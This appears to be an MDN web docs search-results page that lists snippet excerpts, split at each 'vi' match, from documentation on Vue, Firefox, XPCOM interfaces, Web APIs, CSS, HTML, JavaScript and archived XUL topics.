vices promises data (i.e: from a remote api — from ember-data, by default) deprecation information render performance for general javascript debugging, check out our guides on javascript debugging as well as interacting with the browser's other debugging tools.
...And 11 more matches
Adding a new todo form: Vue events, methods, and models - Learn web development
pre
vious over
view: client-side javascript frameworks next we now have sample data in place, and a loop that takes each bit of data and renders it inside a todoitem in our app.
...go back to app.vue and add the following import statement just below the pre
vious one, inside your <script> element: import todoform from './components/todoform'; you also need to register the new component in your app component — update the components property of the component object so that it looks like this: components: { todoitem, todoform } finally for this section, render your todoform component inside your app by adding the <to-do-form /> ele...
...ment inside your app's <template>, like so: <template> <div id="app"> <h1>my to-do list</h1> <to-do-form></to-do-form> <ul> <li v-for="item in todoitems" :key="item.id"> <to-do-item :label="item.label" :done="item.done" :id="item.id"></to-do-item> </li> </ul> </div> </template> now when you
view your running site, you should see the new form displayed.
...And 11 more matches
Accessibility Features in Firefox
in recent articles from both afb's access world and nfb's voice of the nation's blind, re
viewers found no significant roadblocks in mo
ving to firefox from internet explorer for screen reader users.
... firefox on linux currently boasts the best onscreen keyboard support in the industry
via gok, the gnome onscreen keyboard.
... basic screen reader accessibility is available
via the fire vox extension.
...And 11 more matches
CSUN Firefox Materials
in recent articles from both afb's access world and nfb's voice of the nation's blind, re
viewers found no significant roadblocks in mo
ving to firefox from internet explorer for screen reader users.
...firefox on linux currently boasts the best onscreen keyboard support in the industry
via gok, the gnome onscreen keyboard.
... basic screen reader accessibility is available
via gnopernicus or the fire vox extension.
...And 11 more matches
Firefox UI considerations for web developers
there are a number of places within the firefox user interface where web sites are listed for the user to choose a destination to
visit or a site to manage in some way.
... one example is the new tab page, which includes a "top sites" section showing sites you
visit that firefox thinks you're likely to want to
visit again, as well as potentially some sites that have been pinned to always appear in that space.
... top sites the top sites box lists a user-configurable number of rows of icons ser
ving as quick links to sites the user commonly
visits, or that the user has chosen to pin to the top sites list in order to have quick access to them.
...And 11 more matches
Using the Browser API
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... demo to demonstrate basic usage of this api, we have created a simple browser api demo that pro
vides buttons allowing you to (re)load web pages, stop loading, move forward and back in history, and zoom in and out of the page.
... to run the demo, the best approach is to clone the github repo locally (or just download it directly if you don't do github), open webide, open the repo as a packaged app, then run it either on a simulator or a real de
vice if you have one.
...And 11 more matches
Browser API
it currently works in (pri
vileged) chrome code on firefox desktop (version 47 and above).
... na
vigation methods the following na
vigation methods allow na
vigation through the browsing history of the <iframe>.
... htmliframeelement.getcangoback() indicates whether it's possible to na
vigate backwards.
...And 11 more matches
Downloads.jsm
the downloads.jsm javascript code module pro
vides a single entry point to interact with the downloading capabilities of the platform, including starting new downloads, controlling ongoing downloads, and retrie
ving download-related configuration.
... to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/downloads.jsm"); method over
view promise<download> createdownload(object aproperties); promise<void> fetch(asource, atarget, [optional] object aoptions); promise<downloadlist> getlist(atype); promise<downloadsummary> getsummary(atype); constants constant description public work on downloads that were not started from a private browsing window.
... promise<download> createdownload( object aproperties ); parameters aproperties pro
vides the initial properties for the newly created download.
...And 11 more matches
Localizing with Mercurial
for the eager and quick, below you'll find instructions on installing and configuring mercurial, instructions on recei
ving an hg account commit pri
viledges, as well as a few tasks you can complete without account pri
viledges.
...in order to do so, right-click on your computer icon, choose properties > advanced > en
vironmental variables, select path and click edit.
...you can install mercurial
via macports through the terminal, like so: $ sudo port install mercurial you can also install it by downloading the dmg package from the hg download page.
...And 11 more matches
Mozilla Web Developer FAQ
in the quirks mode—for the purpose of backwards compatibility—gecko mimics some beha
viors of legacy browsers in ways that are spec
violations.
... in the css2 box layout model the default vertical sizing of layout boxes and the default vertical alignment of images is different from the beha
vior of old browsers.
...the point of ha
ving a common api (the w3c dom) is interoperability, and checking for a particular browser defeats that purpose.
...And 11 more matches
about:memory
about:memory is a special page within firefox that lets you
view, save, load, and diff detailed measurements of firefox's memory usage.
...perhaps you want to investigate it yourself, or perhaps someone has asked you to use about:memory to generate "memory reports" so they can investigate a problem you are ha
ving.
...the recipients will be able to
view the contents of this file within about:memory in their own firefox instance.
...And 11 more matches
SpiderMonkey Internals
in addition to the interpreter, spidermonkey contains a just-in-time (jit) compiler, a garbage collector, code implementing the basic beha
vior of javascript values, a standard library implementing ecma 262-5.1 §15 with various extensions, and a few public apis.
...semantic and lexical feedback are used to disambiguate hard cases such as missing semicolons, assignable expressions ("lvalues" in c parlance), and whether / is the di
vision symbol or the start of a regular expression.
...another api, jsxdrapi, pro
vides serialization for javascript scripts.
...And 11 more matches
Components.utils.Sandbox
the created sandbox is simply an empty javascript object marked as ha
ving been created by the restricted pri
vilege principal.
...window objects and nsiprincipal carry additional information such as origin attributes and same-origin pri
vilege changes caused by setting document.domain.
...the sandbox will inherit the contents of this object if it's pro
vided.
...And 11 more matches
imgIContainer
it pro
vides access to frames as thebes surfaces and lets users extract subregions as other imgicontainer objects.
... it also pro
vides methods for drawing images onto thebes contexts.
...as a ser
vice: var imgicontainer = components.classes["@mozilla.org/????????????????????????????"] .createinstance(components.interfaces.imgicontainer); method over
view void addrestoredata([array, size_is(acount), const] in char data, in unsigned long acount); native code only!
...And 11 more matches
nsIAppStartup
toolkit/components/startup/public/nsiappstartup.idlscriptable this interface is intended to be used as application startup ser
vice.
...to use the ser
vice: var appstartup = components.classes["@mozilla.org/toolkit/app-startup;1"] .getser
vice(components.interfaces.nsiappstartup); method over
view void createhiddenwindow(); boolean createstartupstate(in long awindowwidth, in long awindowheight); obsolete since gecko 1.9.1 void destroyhiddenwindow(); void doprofilestartup(in nsicmdlineser
vice acmdlineser
vice, in boolean caninteract); obsolete since gecko 1.9.1 void ensure1window(in nsicmdlineser
vice acmdline...
...ser
vice); obsolete since gecko 1.9.1 void enterlastwindowclosingsur
vivalarea(); void exitlastwindowclosingsur
vivalarea(); void getstartupinfo(); void hidesplashscreen(); obsolete since gecko 1.9.1 void initialize(in nsisupports nativeappsupportorsplashscreen); obsolete since gecko 1.9.1 void quit(in pruint32 amode); void restartinsafemode(in pruint32 aquitmode); void run(); attributes attribute type description interrupted boolean true if the startup process was interrupted by an interactive prompt.
...And 11 more matches
nsILoginManagerStorage
toolkit/components/passwordmgr/public/nsiloginmanagerstorage.idlscriptable this interface is implemented by modules that wish to pro
vide storage mechanisms for the login manager.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) for example, if you wish to pro
vide operating system integration with a native password manager system, implementing and registering a storage module for the login manager is how you do it.
...note: extensions that simply want to access/store logins should use the login manager ser
vice and nsiloginmanager interface instead.
...And 11 more matches
nsINavHistoryQueryOptions
toolkit/components/places/nsinavhistoryser
vice.idlscriptable represents the global options for executing a query.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 13.0 (firefox 13.0 / thunderbird 13.0 / seamonkey 2.10) method over
view nsinavhistoryqueryoptions clone(); attributes attribute type description applyoptionstocontainers boolean if true, the query options are only applied to the containers.
... note that this has no effect on folder links, which are place: uris returned by nsinavbookmarkser
vice's getfolderuri method.
...And 11 more matches
Mail composition back end
pizzarro <rhp@netscape.com> contents over
view sending messages nsimsgsend sending listener interfaces nsimsgsendlistener nsimsgcopyser
vicelistener copy operations copy to sent folder drafts templates "send later" sending unsent messages sending unsent messages listener quoting sample programs over
view i've done considerable work in the past few weeks reorganizing the mail composition back end, so i thought it would be helpful to put together a small doc on the new interfaces and how one can use them.
... the mail composition back end is responsible for the assembly and creation of rfc822 messages to be delivered either
via smtp or nntp ser
vices.
...this will change in the coming weeks and allow for developers to write javascript to take advantage of the back end ser
vices.
...And 11 more matches
Creating a Custom Column
one of the new and exciting features available to thunderbird extension developers in thunderbird 2.0 is the ability to easily create and handle custom columns in thunderbird's main
view.
... our replyto_col_overlay.xul should now contain something similar to this: <?xml version="1.0"?> <overlay id="sample" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <tree id="threadtree"> <treecols id="threadcols"> <splitter class="tree-splitter" /> <treecol id="colreplyto" persist="hidden ordinal width" current
view="unthreaded" flex="2" label="reply-to" tooltiptext="click to sort by the reply-to header" /> </treecols> </tree> <!-- include our javascript file --> <script type="text/javascript" src="chrome://replyto_col/content/replyto_col.js"/> </overlay> that's it!
... nsimsgcustomcolumnhandler extends (inherits from) nsitree
view and as such needs to implement functions from both.
...And 11 more matches
UI Tour - Firefox Developer Tools
you can toggle the 3-pane
view of the inspector.
... the following image shows the 2-pane layout: in 2-pane mode, the inspector includes the html pane, and the css pane, which can contain one of six tools: rules
view layout
view computed
view changes
view compatibility
view (firefox developer edition 77 and later) fonts
view animations
view the following image shows the 3-pane mode (available from firefox 62 onwards) which moves the css rules
view into a separate pane in the center of the inspector.
... rules
view the rules
view lists all the rules that apply to the selected element, ordered from most-specific to least-specific.
...And 11 more matches
Tips - Firefox Developer Tools
viewport: click the screenshot button () in responsive design mode.
...
via web console command: screenshot <filename.png> --fullpage.
... change the keyboard bindings to
vim, emacs or sublime text if you're used to different shortcuts.
...And 11 more matches
ByteLengthQueuingStrategy - Web APIs
the bytelengthqueuingstrategy interface of the the streams api pro
vides a built-in byte length queuing strategy that can be used when constructing streams.
... li
ving standard initial definition.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbytelengthqueuingstrategy experimentalchrome full support 59edge full support 16firefox full support 57disabled full support 57disabled disabled from version 57: this feature is behind the dom.streams.enabled preference (needs to b...
...And 11 more matches
Applying styles and colors - Web APIs
« pre
viousnext » in the chapter about drawing shapes, we used only the default line and fill styles.
... the globalalpha property can be useful if you want to draw a lot of shapes on the canvas with similar transparency, but otherwise it's generally more useful to set the transparency on indi
vidual shapes when setting their colors.
...using rgba() gives you a little more control and flexibility because we can set the fill and stroke style indi
vidually.
...And 11 more matches
CountQueuingStrategy - Web APIs
the countqueuingstrategy interface of the the streams api pro
vides a built-in chunk counting queuing strategy that can be used when constructing streams.
... li
ving standard initial definition.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcountqueuingstrategy experimentalchrome full support 59edge full support 16firefox full support 57disabled full support 57disabled disabled from version 57: this feature is behind the dom.streams.enabled preference (needs to be set...
...And 11 more matches
Element.msZoomTo() - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
...if no value is specified, defaults to the current centerpoint of
visible content, horizontally.
...if no value is specified, defaults to the current centerpoint of
visible content, vertically.
...And 11 more matches
Using the Geolocation API - Web APIs
the geolocation object the geolocation api is available through the na
vigator.geolocation object.
... if the object exists, geolocation ser
vices are available.
... you can test for the presence of geolocation thusly: if('geolocation' in na
vigator) { /* geolocation is available */ } else { /* geolocation is not available */ } getting the current position to obtain the user's current location, you can call the getcurrentposition() method.
...And 11 more matches
Drag Operations - Web APIs
the draggable attribute in a web page, there are certain cases where a default drag beha
vior is used.
...however, this beha
vior is only the default drag beha
vior, if no listeners adjust the data to be dragged.
... in html, apart from the default beha
vior for images, links, and selections, no other elements are draggable by default.
...And 11 more matches
Performance API - Web APIs
however, if the browser is unable to pro
vide a time value accurate to 5 microseconds (because, for example, due to hardware or software constraints), the browser can represent the value as a time in milliseconds accurate to a millisecond.
...the now() method returns a domhighrestimestamp whose value that depends on the na
vigation start and scope.
...the timing property returns a performancetiming object containing latency-related performance information such as the start of na
vigation time, start and end times for redirects, start and end times for responses, etc.
...And 11 more matches
RTCInboundRtpStreamStats - Web APIs
the webrtc api's rtcinboundrtpstreamstats dictionary, based upon rtcreceivedrtpstreamstats and rtcstats, contains statistics related to the recei
ving end of an rtp stream on the local end of the rtcpeerconnection.
...this value is only available for
video streams.
... framesdecoded a long integer value indicating the total number of frames of
video which have been correctly decoded so far for this media source.
...And 11 more matches
Using the Web Animations API - Web APIs
with the web animations api, we can move interactive animations from stylesheets to javascript, separating presentation from beha
vior.
...safari supports web animations in its technology pre
view version and there is also a handy polyfill that tests for feature support and adds it where necessary.
... mo
ving it to javascript now let’s try creating the same animation with the web animations api.
...And 11 more matches
Functions and classes available to Web Workers - Web APIs
this article pro
vides a list of those.
... comparison of the properties and methods of the different type of workers function dedicated workers shared workers ser
vice workers chrome workers outside workers atob() yes, on workerglobalscope yes, on workerglobalscope yes, on workerglobalscope yes, on workerglobalscope yes, on window btoa() yes, on workerglobalscope yes, on workerglobalscope yes, on workerglobalscope yes, on workerglobalscope yes, on window clearinterval() yes, on workerglobalsc...
... 38 (38) no support no support no support cache cache api pro
vides the ability to programmatically control cache storage associated with current origin.
...And 11 more matches
XMLHttpRequest - Web APIs
you can retrieve data from a url without ha
ving to do a full page refresh.
...xmlhttprequest is used hea
vily in ajax programming.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.076923076923077%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 650 150" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/xm...
...And 11 more matches
Web APIs
ole apicredential management apiddomeencoding apiencrypted media extensionsffetch apifile system api frame timing apifullscreen apiggamepad api geolocation apihhtml drag and drop apihigh resolution timehistory apiiimage capture apiindexeddbintersection observer apillong tasks api mmedia capabilities api media capture and streamsmedia session apimedia source extensions mediastream recordingnna
vigation timingnetwork information api ppage
visibility apipayment request apiperformance apiperformance timeline apipermissions apipointer eventspointer lock apiproximity events push api rresize observer apiresource timing apisserver sent eventsser
vice workers apistoragestorage access apistreams ttouch eventsuurl apiv
vibration api
visual
viewport wweb animationsweb audio apiweb authentication a...
...piweb crypto apiweb notificationsweb storage apiweb workers apiwebglwebrtcwebvttwebxr de
vice apiwebsockets api interfaces this is a list of all the interfaces (that is, types of objects) that are available.
... a angle_instanced_arrays abortcontroller abortsignal absoluteorientationsensor abstractrange abstractworker accelerometer addresserrors aescbcparams aesctrparams aesgcmparams aeskeygenparams ambientlightsensor analysernode animation animationeffect animationevent animationplaybackevent animationtimeline arraybuffer
view attr audiobuffer audiobuffersourcenode audioconfiguration audiocontext audiocontextlatencycategory audiocontextoptions audiodestinationnode audiolistener audionode audionodeoptions audioparam audioparamdescriptor audioparammap audioprocessingevent audioscheduledsourcenode audiotrack audiotracklist audioworklet audioworkletglobalscope audioworkletnode audioworkletnodeoptions audioworkletprocessor authenticatorassertionresponse authenticatorattestationresponse...
...And 11 more matches
ARIA: feed role - Accessibility
an article should be scrolled into
view when it, or a descendant element, receives focus.
... to ensure good user experience, avoid inserting or remo
ving articles in the middle of a feed, load new articles before the user has reached the end of the feed, and pro
vide keyboard commands for mo
ving focus among articles so that keyboard users can na
vigate through your feed.
... another feature of the feed pattern is skim reading: articles within a feed can contain both an accessible name with the aria-label and a description with an aria-describedby, suggesting to screen readers which elements to speak after the label when na
vigating by article.
...And 11 more matches
ARIA: listbox role - Accessibility
it is highly recommended to use the html select element, or a group of radio buttons if only one item can be selected, or a group of checkboxes if multiple items can be selected, because there is a lot of keyboard interacti
vity to manage focus for all the descendants, and native html elements pro
vide this functionality for you for free.
...up/down arrows na
vigate the list, and pressing shift + up/down arrows will move and extend the selection.
... typing one or more letters will na
vigate the list items (same letter goes to each item starting with that, different letters go to the first item starting with that entire string).
...And 11 more matches
CSS values and units - CSS: Cascading Style Sheets
below is an over
view of most of these data types.
... when
viewing css property value syntax in a css specification or the mdn property page, allowable keywords will be listed in the following form.
... left | right | none | inline-start | inline-end such values are used without quotes: .box { float: left; } css-wide values in addition to the pre-defined keywords that are part of the specification for a property, all css properties accept the css-wide property values initial, inherit, and unset, which explicitly specify defaulting beha
viors.
...And 11 more matches
HTML attribute: rel - HTML: Hypertext Markup Language
external resource not allowed not allowed prefetch specifies that the user agent should preemptively fetch and cache the target resource as it is likely to be required for a followup na
vigation.
... external resource not allowed not allowed preload specifies that the user agent must preemptively fetch and cache the target resource for current na
vigation according to the potential destination given by the as attribute (and the priority associated with the corresponding destination).
... external resource not allowed not allowed prev indicates that the current document is a part of a series, and that the pre
vious document in the series is the referenced document.
...And 11 more matches
<input type="tel"> - HTML: Hypertext Markup Language
the <datalist> pro
vides a list of predefined values to suggest to the user for this input.
...the values pro
vided are suggestions, not requirements: users can select from this predefined list or pro
vide a different value.
... placeholder the placeholder attribute is a string that pro
vides a brief hint to the user as to what kind of information is expected in the field.
...And 11 more matches
<input type="time"> - HTML: Hypertext Markup Language
in some versions, an "x" button is pro
vided to clear the control's value.
...an "x" button is pro
vided to clear the control's value.
...the <datalist> pro
vides a list of predefined values to suggest to the user for this input.
...And 11 more matches
<source>: The Media or Image Source element - HTML: Hypertext Markup Language
the html <source> element specifies multiple media resources for the <picture>, the <audio> element, or the <
video> element.
...it is commonly used to offer the same media content in multiple file formats in order to pro
vide compatibility with a broad range of browsers given their differing support for image file formats and media file formats.
... permitted parents a media element—<audio> or <
video>—and it must be placed before any flow content or <track> element.
...And 11 more matches
Preloading content with rel="preload" - HTML: Hypertext Markup Language
this ensures they are available earlier and are less likely to block the page's render, impro
ving performance.
... this article pro
vides a basic guide to how <link rel="preload"> works.
...this example is tri
vial, as the browser probably discovers the <link rel="stylesheet"> and <script> elements in the same chunk of html as the preloads, but the benefits can be seen much more clearly the later resources are discovered and the larger they are.
...And 11 more matches
Introduction - JavaScript
« pre
viousnext » this chapter introduces javascript and discusses some of its fundamental concepts.
... where to find javascript information the javascript documentation on mdn includes the following: learn web development pro
vides information for beginners and introduces basic concepts of programming and the internet.
... javascript guide (this guide) pro
vides an over
view about the javascript language and its objects.
...And 11 more matches
JavaScript
while it is most well-known as the scripting language for web pages, many non-browser en
vironments also use it, such as node.js, apache couchdb and adobe acrobat.
... this section is dedicated to the javascript language itself, and not the parts that are specific to web pages or other host en
vironments.
... for complete beginners head over to our learning area javascript topic if you want to learn javascript but have no pre
vious experience of javascript or programming.
...And 11 more matches
Critical rendering path - Web Performance
with the dom and cssom complete, the browser builds the render tree, computing the styles for all the
visible content.
...a few extra nodes won't make a difference, but di
vitis can lead to jank.
...the incremental processing features don't apply to css like they do with html, because subsequent rules may override pre
vious ones.
...And 11 more matches
Performance Monitoring: RUM vs synthetic monitoring - Web Performance
synthetic monitoring and real user monitoring (rum) are two approaches for monitoring and pro
viding insight into web performance.
... rum and synthetic monitoring pro
vide for different
views of performance and have benefits, good use cases and shortfalls.
... synthetic monitoring synthetic monitoring involves monitoring the performance of a page in a 'laboratory' en
vironment, typically with automation tooling in a consistent as possible en
vironment.
...And 11 more matches
Installing and uninstalling web apps - Progressive web apps (PWAs)
web application installation is a feature available in modern browsers that allows users to choose to easily and conveniently “install” a web application on their de
vice so they can access it in the same way they would any other installed app.
... depending on the de
vice and features of the operating system and browser, this can result in what is essentially a fully featured application (for example, using webapk on android) or as a shortcut added to their de
vice’s screen.
... the option to install a web application is part of the progressive web app philosophy—gi
ving web apps the same user experience advantages as native apps so they can be competitive.
...And 11 more matches
Tutorials
these resources are created by forward-thinking companies and web developers who have embraced open standards and best practices for web development and that pro
vide or allow translations, through an open content license such as creative commons.
... intermediate level multimedia and embedding this module explores how to use html to include multimedia in your web pages, including the different ways that images can be included, and how to embed
video, audio, and even entire other webpages.
... advanced level html forms forms are a very important part of the web — these pro
vide much of the functionality you need for interacting with websites, e.g.
...And 11 more matches
WebAssembly Concepts - WebAssembly
webassembly is a new type of code that can be run in modern web browsers and pro
vides new features and major gains in performance.
... this has huge implications for the web platform — it pro
vides a way to run code written in multiple languages on the web at near-native speed, with client apps running on the web that pre
viously couldn’t have done so.
...webassembly modules can be imported into a web (or node.js) app, exposing webassembly functions for use
via javascript.
...And 11 more matches
Developing for Firefox Mobile - Archive of obsolete content
this tutorial explains how to run sdk add-ons on an android de
vice connected
via usb to your development machine.
... we'll use the android debug bridge (adb) to communicate between the add-on sdk and the de
vice.
... it's possible to use the android emulator to develop add-ons for android without access to a de
vice, but it's slow, so for the time being it's much easier to use the technique described below.
...And 10 more matches
Finding window handles - Archive of obsolete content
note: starting in gecko 17.0, nsibasewindow.nativehandle pro
vides the handle (hwnd [widows], gdkwindow* [linux], nswindow* [macosx],...) of a top-level window, for all plateforms, as a string.
...typically the top level browser window hwnd has no children, although if there are windowed plugins (such as flash)
visible in the window, they will have hwnds whose parent is the top level browser window hwnd.
... var basewindow = window.queryinterface(components.interfaces.nsiinterfacerequestor) .getinterface(components.interfaces.nsiwebna
vigation) .queryinterface(components.interfaces.nsidocshelltreeitem) .treeowner .queryinterface(components.interfaces.nsiinterfacerequestor) .getinterface(components.interfaces.nsibasewindow); then in c++ part, a function take nsibasewindow as param hwnd getparentwindowhwnd(nsibasewindow *window) { na...
...And 10 more matches
Install Manifests - Archive of obsolete content
it contains metadata identifying the add-on, pro
viding information about who created it, where more information can be found about it, which versions of what applications it is compatible with, how it should be updated, and so on.
...if you do not pro
vide an id, the add-ons site will generate an id for your add-on automatically.
... firefox 2 and pre
vious supported a value of 16 to represent plug-ins.
...And 10 more matches
JavaScript Object Management - Archive of obsolete content
« pre
viousnext » chrome javascript in this section we'll look into how to handle javascript data effectively, beginning with chrome code, in ways which will prevent pollution of shared namespaces and conflicts with other add-ons resulting from such global namespace pollution.
... the first step to good javascript object management is ha
ving a namespace, or a javascript object that contains our code and data, that you know will not conflict with firefox code or other extensions.
...however, most extensions are small projects by indi
viduals, so these examples follow a more practical approach of ha
ving just one namespace with the project name.
...And 10 more matches
Mozilla Documentation Roadmap - Archive of obsolete content
« pre
viousnext » mozilla documentation firefox extension development is still an immature discipline, with a developer base consisting mostly of hobbyists and just a few organized development groups.
...knowing where to look is critical and non tri
vial.
... ha
ving said that, there are a few problems with it.
...And 10 more matches
Notes on HTML Reflow - Archive of obsolete content
over
view reflow is the process by which the geometry of the layout engine's formatting objects are computed.
...for example, a <div> with a constrained width (e.g., set
via the css width property) would note this in the reflow state object before flowing its children.
... dirty, when a container frame has consolidated several indi
vidual incremental reflows that have been targeted at its child frames.
...And 10 more matches
Making it into a static overlay - Archive of obsolete content
because our extension modifies an existing file in the mozilla distribution, before we package it up we need to separate the modifications into a different file and add them back in at run time
via a dynamic xul overlay.
...static overlays are added to a xul file
via a reference at the top of the file (much like stylesheets and javascript scripts).
... dynamic overlays are added to a xul file
via a reference in the chrome registry.
...And 10 more matches
URIs and URLs - Archive of obsolete content
over
view handling network and locally retrievable resources is a central part of necko.
... resources are identified by uri "uniform resource identifier" (taken from rfc 2396): uniform uniformity pro
vides several benefits: it allows different types of resource identifiers to be used in the same context, even when the mechanisms used to access those resources may differ; it allows uniform semantic interpretation of common syntactic conventions across different types of resource identifiers; it allows introduction of new types of resource identifiers without interfering with the way that existing identifiers are used; and, it allows the identifiers to be reused in many different contexts, thus permitting new applications or protocols to leverage a pre-existing, large, and widely-used set of resource identifiers.
...familiar examples include an electronic document, an image, a ser
vice (e.g., "today's weather report for los angeles"), and a collection of other resources.
...And 10 more matches
OpenClose - Archive of obsolete content
as with other ways of opening a menu, the popupshowing event will be fired to pro
vide an opportunity to customize the commands that appear on the menu.
... a menu in an unpri
vileged content window (such as a web page) can only open a popup while its window is focused, and it is in the currently active tab.
...there isn't a means of replicating this action with the keyboard, so you should always pro
vide an alternate means of accessing the functionality of the menu.
...And 10 more matches
textbox (Toolkit autocomplete) - Archive of obsolete content
attributes accesskey, autocompletepopup, autocompletesearch, autocompletesearchparam, completedefaultindex, completeselectedindex,crop, disableautocomplete, disabled, disablekeyna
vigation, enablehistory, focused, forcecomplete, highlightnonmatches, ignoreblurwhilesearching, inputtooltiptext, label, maxlength, maxrows, minresultsforpopup, nomatch, onchange, oninput, onsearchcomplete, ontextentered, ontextreverted, open, readonly,showcommentcolumn, showimagecolumn, size, tabindex, tabscrolling, timeout, type, value properties accessibletype, completedefaultindex, con...
...troller, crop, disableautocomplete, disablekeyna
vigation, disabled, editable, focused, forcecomplete, highlightnonmatches, ignoreblurwhilesearching, inputfield, label, maxlength, maxrows, minresultsforpopup, open, popup, popupopen, searchcount, searchparam, selectionend, selectionstart, showcommentcolumn, showimagecolumn,size, tabindex, tabscrolling, textlength, textvalue, timeout, type, value methods getsearchat, onsearchcomplete, ontextentered, ontextreverted, select, setselectionrange examples <textbox type="autocomplete" autocompletesearch="history"/> attributes accesskey type: character this should be set to a character that is used as a shortcut key.
... crop type: boolean this attribute is not used and is only pro
vided for compatibility with the menulist element.
...And 10 more matches
Templates - Archive of obsolete content
« pre
viousnext » in this section, we'll find out how to populate elements with data.
... populating elements xul pro
vides a method in which we create elements from data supplied by rdf, either from an rdf file or from an internal datasource.
... numerous datasources are pro
vided with mozilla such as bookmarks, history and mail messages.
...And 10 more matches
Tree Box Objects - Archive of obsolete content
« pre
viousnext » this section will describe the tree box object used to handle how a tree is displayed.
... redrawing the tree we already saw the rowcountchanged() function of the tree box object in the pre
vious section.
...the tree will call the
view to get the updated data and update the contents of the tree on screen.
...And 10 more matches
Tree Selection - Archive of obsolete content
« pre
viousnext » the section will describe how to get and set the selected items in a tree.
... getting the selected tree items each item in a tree (that corresponds to treeitem element, if using content tree
view) may be selected indi
vidually.
...the tree pro
vides a number of functions which can be used to determine whether an item is selected.
...And 10 more matches
Using Spacers - Archive of obsolete content
« pre
viousnext » in this section, we will find out how to add some spacing in between the elements we have created.
...some platforms and user interface toolkits pro
vide components that are smart enough to resize and re-position themselves to fit the needs of the user.
... (java uses layout managers for example.) xul pro
vides the capability for elements to position and resize automatically.
...And 10 more matches
Vulnerabilities - Archive of obsolete content
an example is an input validation error, such as user-pro
vided input not being properly evaluated for malicious character strings and overly long values associated with known attacks.
... another example is a race condition error that allows the attacker to perform a specific action with elevated pri
vileges.
...examples of settings are an operating system offering access to control lists that set the pri
vileges that users have for files, and an application offering a setting to enable or disable the encryption of sensitive data stored by the application.
...And 10 more matches
Common causes of memory leaks in extensions - Extensions
another solution would be to use the setinterval()/settimeout() instances content windows pro
vide, but there is a big drawback with this idea: if the user disables javascript globally or locally (such as by using an add-on like noscript), then using the content window functions won't work.
...if the window in question is browser.xul or some long-lived web app such as gmail, the leaked compartment might sur
vive for quite some time.
...browser.xul) will hold on to // the leakref function and the enclosing compartment
via the listener.
...And 10 more matches
Cascade and inheritance - Learn web development
over
view: building blocks next the aim of this lesson is to develop your understanding of some of the most fundamental concepts of css — the cascade, specificity, and inheritance — which control how css is applied to html and how conflicts are resolved.
...we encourage you to work through this section carefully, and check that you understand the concepts before mo
ving on.
...this can also cause some beha
vior that you might not expect.
...And 10 more matches
Flexbox - Learn web development
pre
vious over
view: css layout next flexbox is a one-dimensional layout method for laying out items in rows or columns.
... flexbox pro
vides a property called flex-direction that specifies what direction the main axis runs in (what direction the flexbox children are laid out in) — by default this is set to row, which causes them to be laid out in a row in the direction your browser's default language works in (left to right, in the case of an english browser).
...have a look at our flexbox-wrap0.html example, and try
viewing it live (take a local copy of this file now if you want to follow along with this example): here we see that the children are indeed breaking out of their container.
...And 10 more matches
Getting started with CSS - Learn web development
pre
vious over
view: first steps next in this article we will take a simple html document and apply css to it, learning some practical things about the language along the way.
...it contains an <em>emphasized</em> element.</p> <ul> <li>item one</li> <li>item two</li> <li>item <em>three</em></li> </ul> </body> </html> note: if you are reading this on a de
vice or an en
vironment where you can't easily create files, then don't worry — live code editors are pro
vided below to allow you to write example code right here in the page.
... changing the default beha
vior of elements when we look at a well-marked up html document, even something as simple as our example, we can see how the browser is making the html readable by adding some default styling.
...And 10 more matches
Tips for authoring fast-loading HTML pages - Learn web development
an optimized web page not only pro
vides for a more responsive site for your
visitors but also reduces the load on your web servers and internet connection.
... optimizing page load performance is not just for content which will be
viewed by narrowband dial-up or mobile de
vice
visitors.
... it is just as important for broadband content and can lead to dramatic improvements even for your
visitors with the fastest connections.
...And 10 more matches
Making decisions in your code — conditionals - Learn web development
over
view: building blocks next in any programming language, the code needs to make decisions and carry out actions accordingly depending on different inputs.
...it'd be up to us to pro
vide a mechanism for the parent to set the shoppingdone variable to true if the child did the shopping.
... note: you can see a more complete version of this example on github (also see it running live.) else if the last example pro
vided us with two choices, or outcomes — but what if we want more than two?
...And 10 more matches
Object building practice - Learn web development
pre
vious over
view: objects next in pre
vious articles we looked at all the essential javascript object theory and syntax details, gi
ving you a solid base to start from.
... in this article we dive into a practical exercise, gi
ving you some more practice in building custom javascript objects, with a fun and colorful result.
...the finished example will look a little something like this: this example will make use of the canvas api for drawing the balls to the screen, and the requestanimationframe api for animating the whole display — you don't need to have any pre
vious knowledge of these apis, and we hope that by the time you've finished this article you'll be interested in exploring them more.
...And 10 more matches
Ember app structure and componentization - Learn web development
pre
vious over
view: client-side javascript frameworks next in this article we'll get right on with planning out the structure of our todomvc ember app, adding in the html for it, and then breaking that html structure into components.
...--}} {{outlet}} <welcomepage /> is a component pro
vided by an ember addon that renders the default welcome page we saw in the pre
vious article, when we first na
vigated to our server at localhost:4200.
...to start with, delete the contents of application.hbs and replace them with the following: <section class="todoapp"> <h1>todos</h1> <input class="new-todo" aria-label="what needs to be done?" placeholder="what needs to be done?" autofocus > </section> note: aria-label pro
vides a label for assistive technology to make use of — for example, for a screenreader to read out.
...And 10 more matches
Debugging Frame Reflow
general over
view the frame reflow can be logged with the debug capabilities implemented in nsframe.cpp.
... it pro
vides the following information for each frame at the start of its reflow reflow reason available width, available height computed width, computed height the pre
